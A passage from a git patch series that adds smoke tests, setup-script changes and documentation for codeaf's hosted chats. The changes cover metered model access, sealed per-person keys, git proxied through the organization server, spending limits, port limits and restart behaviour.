0o600 + and state['own_key'].encode() not in body and GIT_TOKEN.encode() not in body and len(body) > 20, stored) + + own_before = quiet_count(state['own_key']) + org_before = quiet_count(HOSTED_ORG_KEY) + spent_before = spent_of(member) + status, out, err = chat(member, 'bash: echo own-key', session=member_chat) + own_made = quiet_count(state['own_key']) - own_before + check('P1-5 with an own key stored, the member\'s calls go upstream with it', status == 0 and own_made >= 1, f'{own_made} calls {short(out + err, 120)}') + check('P1-5 and none of them went with the organization\'s key', quiet_count(HOSTED_ORG_KEY) == org_before, '') + own_spent = wait_until(lambda: (lambda value: value if value is not None and round(value - spent_before, 2) == round(own_made * STUB_COST, 2) else None)(spent_of(member)), 20, 1) + check('P1-5 own-key calls are counted in the person\'s spend too', own_spent is not None, f'{own_made} calls -> {spent_of(member)} from {spent_before}') + org_before = quiet_count(HOSTED_ORG_KEY) + own_before = quiet_count(state['own_key']) + status, out, err = chat(owner, 'bash: echo not-the-members-key', session=owner_chat) + check('P1-5 one person\'s key is never used for another person\'s chat', status == 0 and quiet_count(state['own_key']) == own_before and quiet_count(HOSTED_ORG_KEY) > org_before, + f'own {quiet_count(state["own_key"])} vs {own_before}') + + # P1-3: the limits refuse in plain words, and spend nothing once refused. + code, _ = http('DELETE', ORG + '/v1/hosted/keys/openrouter', member) + check('P1-5 a person can remove their own model key', code == 204, code) + code, limit = http('PUT', ORG + '/v1/myspace/limit', owner, {'limit_usd': 0}) + check('P1-3 the operator can set the monthly limit', code == 200, f'{code} {short(limit, 100)}') + before_refused = len(stub_rows()) + status, out, err = chat(member, 'bash: echo over-the-month', session=member_chat) + words = out + err + check('P1-3 at the monthly limit the chat is refused in a plain sentence', 'monthly limit of $0.00' in words and 'paused' in words, short(words, 300)) + check('P1-3 and the refused message made no call upstream', len(stub_rows()) == before_refused, f'{len(stub_rows()) - before_refused} calls') + code, _ = http('PUT', ORG + '/v1/myspace/limit', owner, {'limit_usd': 20}) + status, out, err = chat(member, 'bash: echo back-in-the-month', session=member_chat) + check('P1-3 raising the limit lets the chat carry on', status == 0 and 'STUB ran' in out, short(out + err, 200)) + + refused_with = '' + sent = 0 + for sent in range(1, 60): + status, out, err = chat(member, 'bash: echo fill-%d' % sent, session=cap_chat) + if 'spending limit' in out + err: + refused_with = out + err + break + check('P1-3 a chat that spends up to its cap is refused in a plain sentence', 'spending limit of $%.2f' % SESSION_CAP in refused_with and 'Start a new chat' in refused_with, + f'after {sent} messages: {short(refused_with, 300)}') + cap_calls = quiet_count(HOSTED_ORG_KEY) + status, out, err = chat(member, 'bash: echo again', session=cap_chat) + check('P1-3 a message after the refusal is refused again and makes no call upstream', 'spending limit' in out + err and quiet_count(HOSTED_ORG_KEY) == cap_calls, short(out + err, 200)) + state['cap_spent_after'] = spent_of(member) + + # P1-6 and P1-9: git goes through the organization and the GitHub access never reaches the chat. + before = len(git_calls()) + status, out, err = chat(owner, 'bash: git clone -q http://gitstub:8891/acme/none.git gn 2>&1; echo "GITNOKEY $?"', session=owner_chat) + check('P1-6 a person with no stored GitHub access is refused, and nothing reached the git host', field(out, 'GITNOKEY') not in (None, '0') and len(git_calls()) == before, + short(out + err, 200)) + script = ('git clone -q http://gitstub:8891/acme/widgets.git gw 2>&1 && cd gw && echo hello > hello.txt && git add hello.txt && ' + 'git -c user.name=smoke -c user.email=smoke@example.invalid commit -q -m first && git push -q origin HEAD:main 2>&1; echo "GIT $?"') + status, out, err = chat(member, 'bash: ' + script, session=member_chat) + check('P1-6 a chat clones and pushes through the organization with the person\'s own access', field(out, 'GIT') == '0', short(out + err, 300)) + calls = [c for c in git_calls() if '/acme/widgets.git/' in c.get('path', '')] + check('P1-6 the git host saw the person\'s access, injected by the organization', len(calls) >= 3 and all(c.get('password_ok') and c.get('user') == 'x-access-token' for c in calls) + and {c.get('service') for c in calls} >= {'git-upload-pack', 'git-receive-pack'}, short(calls, 300)) + lines = [e for e in audit_lines(member) if 'widgets' in e.get('repo', '')] + refs = [c for c in calls if c.get('path', '').endswith('/info/refs')] + check('P1-6 each git operation left one audit line, naming the chat and the repository', len(lines) == len(refs) >= 2 and all(e.get('chat') == member_chat and e.get('kind') == 'git' for e in lines), + f'{len(lines)} lines for {len(refs)} operations') + check('P1-6 the audit shows a person only their own lines', not [e for e in audit_lines(owner) if 'widgets' in e.get('repo', '')], '') + state['audit_lines'] = len(audit_lines(member)) + state['member_spent'] = spent_of(member) + p1_save(state) + + +def hosted_p1_host(): + """Run in the sessionhost container as root, with hosted_p1's state on stdin: what only the machine can show. Nothing a person + stored, and no key of the organization, is anywhere a chat can read: not in a folder, not in a process's environment or + arguments. The chat's own access is kept to the engine and to the one private file git's helper reads.""" + print('--- hosted chats P1: what is on the chats\' machine') + state = json.load(sys.stdin) + needles = {'the person\'s own model key': state['own_key'], 'the person\'s GitHub access': state['git_token'], 'the organization\'s model key': state['hosted_key']} + people = glob.glob('/chats/people/*/hs_*') + check('P1 the chats\' machine has chat folders to read (so the scans mean something)', len(people) >= 3, len(people)) + + def scan(folder): + def work(): + hits, files = [], 0 + for root, _, names in os.walk(folder): + for name in names: + path = os.path.join(root, name) + try: + if os.path.getsize(path) > 50_000_000: + continue + data = open(path, 'rb').read() + files += 1 + for label, needle in needles.items(): + if needle.encode() in data: + hits.append((label, path)) + except OSError: + pass + return {'files': files, 'hits': hits} + return work + hits, files = [], 0 + for folder in people: + info = os.stat(folder) + found = as_user(info.st_uid, info.st_gid, scan(folder)) or {'files': 0, 'hits': [('could not read', folder)]} + files += found['files'] + hits += found['hits'] + check('P1 neither key and no GitHub access is in any chat\'s folder, transcripts included', files > 0 and not hits, hits[:3] or f'{files} files read') + + # Every chat's own access is held where git's helper reads it (a private file) and in its engine's environment, and nowhere else. + def read_broker(folder): + def work(): + for line in open(os.path.join(folder, 'home', '.config', 'codeaf-hosted', 'broker')).read().splitlines(): + if line.startswith('bearer='): + return line[len('bearer='):] + return '' + return work + bearers = {} + for folder in people: + info = os.stat(folder) + found = as_user(info.st_uid, info.st_gid, read_broker(folder)) + if found: + bearers[folder] = found + leaks = [] + for entry in os.listdir('/proc'): + if not entry.isdigit(): + continue + try: + environ = open('/proc/%s/environ' % entry, 'rb').read() + cmdline = open('/proc/%s/cmdline' % entry, 'rb').read() + except OSError: + continue + for label, needle in needles.items(): + if needle.encode() in environ or needle.encode() in cmdline: + leaks.append((label, entry, cmdline.split(b'\0')[0][-30:].decode('utf-8', 'replace'))) + for token in bearers.values(): + if token.encode() in cmdline: + leaks.append(('a chat\'s access', entry, 'arguments')) + check('P1 none of those is in any process\'s environment or arguments on the machine', not leaks, leaks[:3]) + check('P1-6 git is set up in the chats that ran (each holds a chat access in the private file its helper reads)', len(bearers) >= 2 and all(t.startswith('cmt_') for t in bearers.values()), + len(bearers)) + crossed = [] + for folder, token in bearers.items(): + for other in people: + if other == folder: + continue + info = os.stat(other) + hit = as_user(info.st_uid, info.st_gid, lambda f=other, t=token: [os.path.join(p, n) for p, _, names in os.walk(f) for n in names + if t.encode() in open(os.path.join(p, n), 'rb').read()]) + crossed += hit or [] + check('P1 one chat\'s access is not in any other chat\'s folder', not crossed, crossed[:2]) + mine = [token for folder, token in bearers.items() if folder.endswith(state['member_chat'])] + if mine: + Path('/tmp/smoke-p1-access').write_text(mine[0]) + os.chmod('/tmp/smoke-p1-access', 0o600) + brokers = glob.glob('/chats/people/*/hs_*/home/.config/codeaf-hosted/broker') + check('P1-6 the file git\'s helper reads is closed to everyone but the chat', brokers and all((os.stat(b).st_mode & 0o777) == 0o600 for b in brokers), + [oct(os.stat(b).st_mode & 0o777) for b in brokers]) + + +def model_door(token, verb='GET', path='/v1/model/models'): + return http(verb, ORG + path, token) + + +def hosted_p1_bearer(): + """Run in the sessionhost container as root after the organization server alone was restarted, with the state file on stdin (it + holds a fresh sign-in): the chat access a running chat held before the restart still works, and stops working the moment + its chat is stopped.""" + print('--- hosted chats P1: the chat access across a restart of the organization server') + state = json.load(sys.stdin) + path = Path('/tmp/smoke-p1-access') + token = path.read_text() if path.exists() else '' + check('P1-4 the chat access read before the restart is still here to try', token.startswith('cmt_'), 'read' if token else 'missing') + if not token: + return + code, body = model_door(token) + check('P1-4 after the organization server restarted, a running chat\'s access still works', code == 200, f'{code} {short(body, 120)}') + code, stopped = http('POST', ORG + '/v1/hosted/sessions/' + state['member_chat'] + '/stop', state['restart_token'], {}) + check('P1-4 stopping a chat is accepted', code in (200, 202, 204), f'{code}') + code, body = model_door(token) + check('P1-4 and its access stops working at once, in a plain sentence', code == 401 and 'model access has ended' in json.dumps(body), f'{code} {short(body, 160)}') + path.unlink() + check('P1-4 nothing of the access is left behind on the machine', not path.exists()) + + +def hosted_p1_restart(): + """Run in the codeaf container after the organization server restarted: signs in again and says which chat the machine side + should stop, in the state file the next step reads.""" + print('--- hosted chats P1: after the organization server restarted') + member = sign_in('priya') + state = p1_state() + check('P1-4 people can sign in again and the keys they stored are still there', bool(member) and [r['provider'] for r in (http('GET', ORG + '/v1/hosted/keys', member)[1] or {}).get('keys', [])] == ['github'], + short(http('GET', ORG + '/v1/hosted/keys', member)[1], 200) if member else '') + state['restart_token'] = member + p1_save(state) + + +def hosted_p1_after(): + print('--- hosted chats P1: after everything restarted') + member = sign_in('priya') + state = p1_state() + check('P1-4 the person\'s stored GitHub access survived the restart', bool(member) and [r['provider'] for r in (http('GET', ORG + '/v1/hosted/keys', member)[1] or {}).get('keys', [])] == ['github'], '') + check('P1-2 the person\'s spend survived the restart', spent_of(member) is not None and spent_of(member) >= (state.get('member_spent') or 0), f'{spent_of(member)} vs {state.get("member_spent")}') + status, out, err = chat(member, 'bash: echo after', session=state['cap_chat']) + check('P1-3 a chat that reached its cap is still refused after the restart (its spend was kept)', 'spending limit' in out + err, short(out + err, 200)) + lines = audit_lines(member) + check('P1-6 the audit lines survived the restart', len(lines) >= state.get('audit_lines', 1) >= 2, f'{len(lines)} vs {state.get("audit_lines")}') + status, out, err = chat(member, 'bash: cd gw && echo more >> hello.txt && git add hello.txt && git -c user.name=smoke -c user.email=smoke@example.invalid commit -q -m second && git push -q origin HEAD:main 2>&1; echo "GIT $?"', + session=state['member_chat']) + check('P1-6 git still works through the organization after the restart', field(out, 'GIT') == '0', short(out + err, 300)) + check('P1-6 and the new operation left an audit line', len(audit_lines(member)) > len(lines), f'{len(audit_lines(member))} vs {len(lines)}') + + def main(): parser = argparse.ArgumentParser() - parser.add_argument('section', choices=['all', 'control', 'job', 'org', 'after', 'after-org', 'hosted-prepare', 'hosted-seed', 'hosted', 'hosted-host', 'hosted-after', 'hosted-leftovers']) + parser.add_argument('section', choices=['all', 'control', 'job', 'org', 'after', 'after-org', 'hosted-prepare', 'hosted-seed', 'hosted', 'hosted-host', 'hosted-after', 'hosted-leftovers', + 'hosted-p1', 'hosted-p1-host', 'hosted-p1-restart', 'hosted-p1-bearer', 'hosted-p1-after']) parser.add_argument('--operator-link', default='') args = parser.parse_args() for name, run in (('control', control), ('job', job), ('org', lambda: org(args.operator_link)), ('after', after), ('after-org', after_org), - ('hosted-prepare', hosted_prepare), ('hosted-seed', hosted_seed), ('hosted', hosted), ('hosted-host', hosted_host), ('hosted-after', hosted_after), ('hosted-leftovers', hosted_leftovers)): + ('hosted-prepare', hosted_prepare), ('hosted-seed', hosted_seed), ('hosted', hosted), ('hosted-host', hosted_host), ('hosted-after', hosted_after), ('hosted-leftovers', hosted_leftovers), + ('hosted-p1', hosted_p1), ('hosted-p1-host', hosted_p1_host), ('hosted-p1-restart', hosted_p1_restart), ('hosted-p1-bearer', hosted_p1_bearer), + ('hosted-p1-after', hosted_p1_after)): if args.section == name or (args.section == 'all' and name in ('control', 'job')): run() print('RESULT ' + ('PASS' if failures == 0 else f'FAIL ({failures} check(s) failed)')) diff --git a/deploy/org/setup.sh b/deploy/org/setup.sh index 08a22265fb..fd5567c934 100755 --- a/deploy/org/setup.sh +++ b/deploy/org/setup.sh @@ -8,18 +8,32 @@ umask 077 if [ -f .env ]; then # An .env from before hosted chats has no secret for them. It gets one, once, appended; nothing # else in the file is touched, and a secret that is already there is never replaced. + added= if ! grep -q '^CODEAF_HOSTED_SECRET=.' .env; then grep -v '^CODEAF_HOSTED_SECRET=$' .env > .env.new || true printf 'CODEAF_HOSTED_SECRET=%s\n' "$(random)" >> .env.new mv .env.new .env - echo ".env already exists; added a secret for hosted chats and left the rest as it is." - exit 0 + added="a secret for hosted chats" + fi + # The server key seals people's own keys on disk. It is made once and never replaced: a new one would make + # everything stored under the old one unreadable. + if ! grep -q '^CODEAF_SERVER_KEY=.' .env; then + grep -v '^CODEAF_SERVER_KEY=$' .env > .env.new || true + printf 'CODEAF_SERVER_KEY=%s\n' "$(random)" >> .env.new + mv .env.new .env + added="${added:+$added and }a server key for people's own keys" + fi + if [ -n "$added" ]; then + echo ".env already exists; added $added and left the rest as it is." + else + echo ".env already exists; leaving it as it is." fi - echo ".env already exists; leaving it as it is." exit 0 fi sed -e "s/^AGENTFIELD_API_KEY=.*/AGENTFIELD_API_KEY=$(random)/" \ -e "s/^CODEAF_FACTORY_TOKEN=.*/CODEAF_FACTORY_TOKEN=$(random)/" \ - -e "s/^CODEAF_HOSTED_SECRET=.*/CODEAF_HOSTED_SECRET=$(random)/" .env.example > .env -echo "Wrote .env with a new AgentField key, organization token and hosted-chats secret." + -e "s/^CODEAF_HOSTED_SECRET=.*/CODEAF_HOSTED_SECRET=$(random)/" \ + -e "s/^CODEAF_SERVER_KEY=.*/CODEAF_SERVER_KEY=$(random)/" .env.example > .env +echo "Wrote .env with a new AgentField key, organization token, hosted-chats secret and server key." +echo "Keep a copy of CODEAF_SERVER_KEY somewhere safe: the keys people store are sealed with it and cannot be opened without it." echo "Add OPENROUTER_API_KEY (and GH_TOKEN) to run real work, or use the keyless smoke test (see README.md)." diff --git a/deploy/org/smoke.sh b/deploy/org/smoke.sh index 7dfc3c8b58..f6487cfe3c 100755 --- a/deploy/org/smoke.sh +++ b/deploy/org/smoke.sh @@ -26,13 +26,19 @@ # cp ../../bin/codeaf codeaf-local && SMOKE_HOSTED=1 CODEAF_BINARY_FROM=local ./smoke.sh set -eu cd "$(dirname "$0")" -[ -f .env ] || ./setup.sh +# Idempotent: makes .env once, and adds a secret a newer version needs to an .env that predates it. +./setup.sh HOSTED="${SMOKE_HOSTED:-0}" SERVICES= FULL=1 -if [ "${SMOKE_HOSTED_ONLY:-0}" = 1 ]; then HOSTED=1; FULL=0; SERVICES="codeaf sessionhost modelstub"; fi +if [ "${SMOKE_HOSTED_ONLY:-0}" = 1 ]; then HOSTED=1; FULL=0; SERVICES="codeaf sessionhost modelstub gitstub"; fi HOSTED_FLAGS= -[ "$HOSTED" = 1 ] && HOSTED_FLAGS="--env-file .env.stub.hosted --profile hosted" +if [ "$HOSTED" = 1 ]; then + HOSTED_FLAGS="--env-file .env.stub.hosted --profile hosted" + # The stub git host wants this as the person's GitHub access; it is made for this run and is worth nothing. + GITSTUB_TOKEN="${GITSTUB_TOKEN:-$(od -An -N16 -tx1 /dev/urandom | tr -d ' \n')}" + export GITSTUB_TOKEN +fi # shellcheck disable=SC2086 DC="${COMPOSE:-docker compose} --env-file .env --env-file .env.stub $HOSTED_FLAGS ${SMOKE_ENV:-} --profile stub" SMOKE=/opt/org/smoke.py @@ -61,6 +67,16 @@ if [ "$HOSTED" = 1 ]; then run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted # What only the machine itself can show: the state the client side just wrote goes in on stdin. $DC exec -T codeaf cat /data/smoke-hosted.json | $DC exec -T sessionhost python3 $SMOKE hosted-host || bad=1 + # P1: the real model door (metered, capped), people's own keys, git through the organization, and what the machine holds. + run codeaf '-e ORG_URL=http://127.0.0.1:8787 -e GITSTUB_TOKEN' hosted-p1 + $DC exec -T codeaf cat /data/smoke-p1.json | $DC exec -T sessionhost python3 $SMOKE hosted-p1-host || bad=1 + # The organization server alone restarts: a running chat's access must keep working, and stop at once when its chat is stopped. + # shellcheck disable=SC2086 + $DC restart codeaf + # shellcheck disable=SC2086 + $DC up -d --wait --wait-timeout 600 codeaf + run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted-p1-restart + $DC exec -T codeaf cat /data/smoke-p1.json | $DC exec -T sessionhost python3 $SMOKE hosted-p1-bearer || bad=1 mode=$($DC logs sessionhost 2>&1 | grep -m1 'sessionhost: mode' || true) if [ -n "$mode" ]; then echo "PASS C4 the machine started in a mode that keeps chats apart ${mode##*: }"; else echo 'FAIL C4 the machine said no mode at start' >&2; bad=1; fi # Fail closed: the same machine without the right to switch users must refuse, not run chats as root. @@ -85,6 +101,7 @@ run codeaf '-e ORG_URL=http://127.0.0.1:8787' after-org if [ "$HOSTED" = 1 ]; then $DC exec -T sessionhost python3 $SMOKE hosted-leftovers || bad=1 run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted-after + run codeaf '-e ORG_URL=http://127.0.0.1:8787 -e GITSTUB_TOKEN' hosted-p1-after fi if [ "$bad" = 0 ]; then echo 'SMOKE PASSED'; else echo 'SMOKE FAILED' >&2; exit 1; fi From c41ef4b862e731239ac73719fd483ea2064ddcd7 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:10:57 -0500 Subject: [PATCH 051/176] manual, protocol, change entry: hosted chats P1 (metered model access, own keys, git, limits) The hosted-sessions manual page says what a person can rely on (spend is measured by the organization and capped, their own keys are kept sealed, git works without the token ever reaching the chat, and which ports a chat's commands may reach) and what it cannot (a hostile service on an allowed port is still reachable). PROTOCOL.md lists the new routes and the host's bearer fingerprint. The change entry says what was believed before and what is true now. Co-Authored-By: Claude Sonnet 5.5 --- .../unreleased/2898-hosted-chats-p1.md | 18 ++++++++++++ docs/design/app-v3/PROTOCOL.md | 19 +++++++++++++ .../chat/organization-hosted-sessions.md | 28 +++++++++++++++---- 3 files changed, 60 insertions(+), 5 deletions(-) create mode 100644 docs/changes/unreleased/2898-hosted-chats-p1.md diff --git a/docs/changes/unreleased/2898-hosted-chats-p1.md b/docs/changes/unreleased/2898-hosted-chats-p1.md new file mode 100644 index 0000000000..64c774692d --- /dev/null +++ b/docs/changes/unreleased/2898-hosted-chats-p1.md @@ -0,0 +1,18 @@ +--- +kind: added +title: Hosted chats get a metered model door, per-person sealed keys, git through the server and a port limit +pr: 2898 +surface: [chat, engine, factory, build, docs] +invalidates: + - "The organization server's /v1/model/ door passed a chat's call straight to the upstream and counted nothing, a chat's model access was kept in the server's memory for twelve hours and a restart of the server ended it, and a hosted chat's commands could connect to any port of the network its machine was on. Now every call is metered to the cent into the person's My space (so My space's spent_usd and at_limit count hosted chats), a chat stops at CODEAF_HOSTED_SESSION_CAP_USD (default 5) and a person at the monthly limit, the access is kept as hashes for seven days and survives a restart, and a hosted chat's commands may connect only to the ports in CODEAF_SESSIONHOST_CONNECT_PORTS (default 443,80,22,9418) and the organization server's own. With hosted chats off nothing changed." + - "A person could not give a hosted chat a GitHub access or a model key of their own, and the chat had no way to reach git. A person can now store them (PUT /v1/hosted/keys/{provider}, sealed on the server under CODEAF_SERVER_KEY, never readable by a chat), and a chat's git clone and push of an allowed host go through the organization server, which adds that access to each request." + - "A machine whose kernel is older than Linux 6.12 refused to start chats without saying how to accept that. The refusal now names CODEAF_SESSIONHOST_REQUIRE=uid, and deploy/org's README says Linux 6.12 or newer." +--- + +A hosted chat can now be given to people without handing them the organization's key. Its model calls go through the +organization server, which sends them upstream with the real key, counts each one to the cent into the person's +My space, and refuses in a plain sentence at the chat's spending limit or the person's monthly limit. People can store +their own model key and GitHub access, sealed on the server; a chat's git goes through the server so the chat never +holds a GitHub token. The chats' machine limits the ports a command may connect to, so the other services on a +private network with no policies of its own are out of a chat's reach. The limit is by port and not by address: +`deploy/org/README.md` says what that does not cover. diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index 1da345b57a..1d43cac51c 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -1112,6 +1112,25 @@ chat, and every turn in a space, runs on the server whatever `agent_runner` says `org_myspace`, the operator is no longer told a private workstream or canvas exists: the `name_only` row is gone. +A server with hosted chats on (`CODEAF_HOSTED_URL`, deploy/org/README.md) also posts what +every hosted chat's model calls cost to the caller's space: one spend row per call, `chat` +`hosted:` (`hosted::own` when the call used the person's own key), so +`spent_usd` and `at_limit` above count them and a person at `limit_usd` has their hosted +chat refused with "You have reached your monthly limit of $L, so this chat is paused. The +organization's operator can raise it in Settings." (HTTP 402 from the model door; a chat's +own cap, `CODEAF_HOSTED_SESSION_CAP_USD`, default 5, refuses with "This chat has reached its +spending limit of $C, so it is paused. Start a new chat to carry on."). These are HTTP +routes of the organization server with no engine method yet, answered only to a signed-in +person and only about them: `GET /v1/hosted/keys` answers `{keys: [{provider, last4, at, +source}]}` (`provider` is `openrouter` or `github`, `source` is `own` or `sign-in`, never +the key), `PUT /v1/hosted/keys/{provider}` with `{key}` answers 204 (409 "This server cannot +keep personal keys safe yet, so it did not store yours. Its operator can set that up." when +the server has no `CODEAF_SERVER_KEY`), `DELETE /v1/hosted/keys/{provider}` answers 204, and +`GET /v1/hosted/audit` answers `{entries: [{at, person, chat, kind: "git", host, repo, +service}]}`, the caller's own latest git operations. A chat reaches git through +`/v1/hosted/git///.git/...`, authenticated by the chat's own model access +as the password; the server adds the person's GitHub access upstream. + An engine whose hello carries `org_access` serves an organization's access policy and the grants on its things. `factory.org_policy` `GET /v1/org/policy` answers the policy to any member: `{rev, roles: [{name, verbs}], owner_role, org_role, defaults: {: {visibility}}, diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index b356590dd4..e39d51d013 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -42,9 +42,9 @@ What the operator of the machine could do is a separate matter: see *what can th Whoever runs the machine, and whoever is its administrator on the hosting platform, can read everything on its disk. A hosted chat is not private from them. The disk is not encrypted by the server software itself. -The chat can reach the internet, and the other machines on the server's private network if the platform leaves that network open. What protects the organization's other services is that each one asks for its own sign-in, not that a chat cannot find them. +The chat can reach the internet. A command in it can connect only to the TCP ports the operator allowed (443, 80, 22 and 9418 unless the operator changed the list) and to the organization's own server; any other port is refused by the machine and the command fails with `permission denied` and one line that says so. That keeps a chat off the other services the organization runs on the same private network. It filters by port and not by address, so a hostile service listening on one of the allowed ports is still reachable, and a service of your own on some other port (a dev server on 3000, say) cannot be reached by a command either, even from the same chat; the operator can add ports. Each of the organization's services should still ask for its own sign-in. -A chat has no key of the organization's. It reaches a model only through the organization's server, with access made for that chat alone. That access ends when you stop or delete the chat, and after twelve hours. If the organization's server restarts, the chat has no model access until your next attach, which makes new access. +A chat has no key of the organization's, no key of yours and no GitHub access of yours. It reaches a model only through the organization's server, with access made for that chat alone, and reaches git only through the same server, which adds your GitHub access to each request. That chat access ends when you stop or delete the chat, and after seven days. If the organization's server restarts, a chat that was running keeps working, and the access is still good. If you do not want your code on a machine the organization runs, do not open it with `--org`. @@ -54,7 +54,7 @@ A turn that is running on the server when you disconnect, lose the connection or An idle chat stops its own program after a while and starts it again, with its conversation, the next time you open it. Files stay in place the whole time. Processes you started that were still running stay running until you stop the chat. -If the server itself restarts, its running processes end and its files stay. Your first attach afterwards may say `This chat has no model access yet.`; open it again and it works. +If the machine that runs chats restarts, its running processes end and its files stay. Your first attach afterwards works: the organization's server notices the machine lost your chat's model access and hands over new access before anything is sent. If the organization's server restarts instead, the chats keep working and so does the access they hold. ## how many chats can I have on the server at once — limits and waiting @@ -72,7 +72,7 @@ Both are done through the organization's server by its owner, and only its owner ## the server says it cannot keep my chat apart — hosted chat refusals -The machine that runs chats measures what it can do when it starts. A chat only runs where two things hold: each chat can run as a separate user of the machine, and the machine can confine a chat's commands to its own folder, including keeping its local sockets from other chats, which needs Linux 6.12 or newer. If it cannot, it starts no chats and says: `This server cannot keep your chat apart from other people's, so it did not start one.` That is the operator's to fix. +The machine that runs chats measures what it can do when it starts. A chat only runs where two things hold: each chat can run as a separate user of the machine, and the machine can confine a chat's commands to its own folder, including keeping its local sockets from other chats, which needs Linux 6.12 or newer. On an older kernel the default stays closed: the operator reads which setting accepts the gap, `CODEAF_SESSIONHOST_REQUIRE=uid`, and chats then run on the user switch alone, with no limit on what their commands reach (including the port limit). If it cannot, it starts no chats and says: `This server cannot keep your chat apart from other people's, so it did not start one.` That is the operator's to fix. If the machine cannot confine commands, a command in a chat is not run at all, and you read: `This computer cannot keep commands inside this chat's folder, so no command was run.` It never runs the command with fewer limits instead. @@ -84,6 +84,24 @@ An operator who has chosen to run on the user switch alone, because the machine Hosted chats are off by default. The operator turns them on by running the chats' machine beside the organization's server, in the organization's deployment (`deploy/org/README.md`, "Hosted chats"), and giving both the same long secret, which `./setup.sh` makes. -On the organization's server set `CODEAF_HOSTED_URL` to the chats' machine, `CODEAF_HOSTED_SECRET`, `CODEAF_HOSTED_MODEL_UPSTREAM` (the model endpoint the organization pays for) and `CODEAF_HOSTED_MODEL_KEY`. On the chats' machine set `CODEAF_SESSIONHOST_SECRET` to the same secret, and optionally `CODEAF_SESSIONHOST_MAX_RUNNING`, `CODEAF_SESSIONHOST_MAX_PER_PERSON`, `CODEAF_SESSIONHOST_IDLE` and `CODEAF_SESSIONHOST_MODEL`. +On the organization's server set `CODEAF_HOSTED_URL` to the chats' machine, `CODEAF_HOSTED_SECRET`, `CODEAF_HOSTED_MODEL_UPSTREAM` (the model endpoint the organization pays for; OpenRouter's when empty) and `CODEAF_HOSTED_MODEL_KEY` (or the key the server already holds for model calls). Set `CODEAF_SERVER_KEY` too (64 hexadecimal characters; `./setup.sh` makes it): people's own keys are sealed with it, and a server that holds keys sealed with another one, or with none, refuses to start instead of carrying on. Optional: `CODEAF_HOSTED_SESSION_CAP_USD` (what one chat may spend, default 5) and `CODEAF_HOSTED_GIT_HOSTS` (the git hosts chats may reach, default `https://github.com`). On the chats' machine set `CODEAF_SESSIONHOST_SECRET` to the same secret, and optionally `CODEAF_SESSIONHOST_MAX_RUNNING`, `CODEAF_SESSIONHOST_MAX_PER_PERSON`, `CODEAF_SESSIONHOST_IDLE`, `CODEAF_SESSIONHOST_MODEL` and `CODEAF_SESSIONHOST_CONNECT_PORTS` (the TCP ports commands may connect to, default `443,80,22,9418`). `codeaf sessionhost probe` prints what the machine can do and exits non-zero when it cannot keep chats apart. The machine runs as root inside its container and keeps only the capabilities it needs to switch users; it holds no organization secret except the shared one and no model key. The key stays on the organization's server, which adds it to each model request. + +## what does a hosted chat cost and who pays — the organization's key, the spending limit and the monthly limit + +A hosted chat calls its model through the organization's server, with the organization's key unless you stored your own. Every call is counted to the cent in your My space on that server, and the organization's operator sees only totals. A chat stops at its own spending limit, five dollars unless the operator set another, and you read: `This chat has reached its spending limit of $5.00, so it is paused. Start a new chat to carry on.` Your My space has a monthly limit too, twenty dollars unless the operator set another, and at it you read: `You have reached your monthly limit of $20.00, so this chat is paused. The organization's operator can raise it in Settings.` + +A refused message makes no model call and costs nothing. Calls made with your own key are counted too, against both limits. A chat that is making as many requests as it may at once, four, reads: `This chat is already making as many requests as it may at once. Try again in a moment.` + +## keep my own model key or GitHub access on the organization's server — stored sealed, only yours + +You can give the organization's server your own OpenRouter key and your own GitHub access (a token) for your chats. They go to `PUT /v1/hosted/keys/openrouter` and `PUT /v1/hosted/keys/github` with your sign-in and the body `{"key":"..."}`; `GET /v1/hosted/keys` lists what you stored as the provider, the last four characters and when, never the key, and `DELETE /v1/hosted/keys/` removes one. codeaf's own chat has no screen for it yet. + +Each person's keys are sealed on the server's disk under a key of that person's own, which is itself sealed by the server key the operator set; another person cannot read them, and neither can a chat. With your own model key stored, your chats' calls go out with it and never with the organization's, and if it cannot be opened the chat pauses and says so rather than using the organization's instead. If the operator has set no server key, the server answers that it cannot keep personal keys safe yet and stores nothing; chats then use the organization's key. Signing in with GitHub gives the server your GitHub access for git without storing anything yourself, unless you stored your own. + +## use git in a hosted chat — clone and push through the organization's server + +A hosted chat is set up so that `git clone https://github.com//.git` and `git push` work with your GitHub access without the chat ever holding it. The commands go to the organization's server, which adds your access to each request and sends it on; only the git hosts the operator allowed (GitHub unless changed) are reached this way, and one line per git operation is kept, which you can read with `GET /v1/hosted/audit` (your own lines only). + +If you have no GitHub access stored you read: `You have no GitHub access stored on this server yet. Add it, then try again.` A host the operator did not allow reads: `This server does not reach that git host for chats.` The chat itself holds only access for that one chat, which ends when the chat is stopped. It is not limited to one repository: your GitHub access decides what you can reach. From 69cc0ce8119f09bf69463edb76e36a181dcf737d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:45:00 -0500 Subject: [PATCH 052/176] sessionhost: folders above a chat are readable (names only), so a new chat's first command seals its calls The first interactive hosted command printed "calls are not being sealed ... Permission denied". The furrow history helper fsyncs every ancestor folder after it first creates its group-commit file, and the 0711 folders above a chat made that open fail with EACCES for the chat's own uid. The ancestors are now 0755 (names only; the chat folders below stay owner-only), and an older 0711 ancestor is widened when it is found. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/scripts/sessionhost.sh | 2 +- internal/sessionhost/api_test.go | 65 ++++++++++++++++++++++++++++++- internal/sessionhost/layout.go | 52 ++++++++++++++++++++++++- internal/sessionhost/server.go | 14 +++++-- 4 files changed, 126 insertions(+), 7 deletions(-) diff --git a/deploy/org/scripts/sessionhost.sh b/deploy/org/scripts/sessionhost.sh index 46415c6586..06f128d632 100755 --- a/deploy/org/scripts/sessionhost.sh +++ b/deploy/org/scripts/sessionhost.sh @@ -6,6 +6,6 @@ set -eu data="${CODEAF_SESSIONHOST_DATA:-/chats}" mkdir -p "$data" -chmod 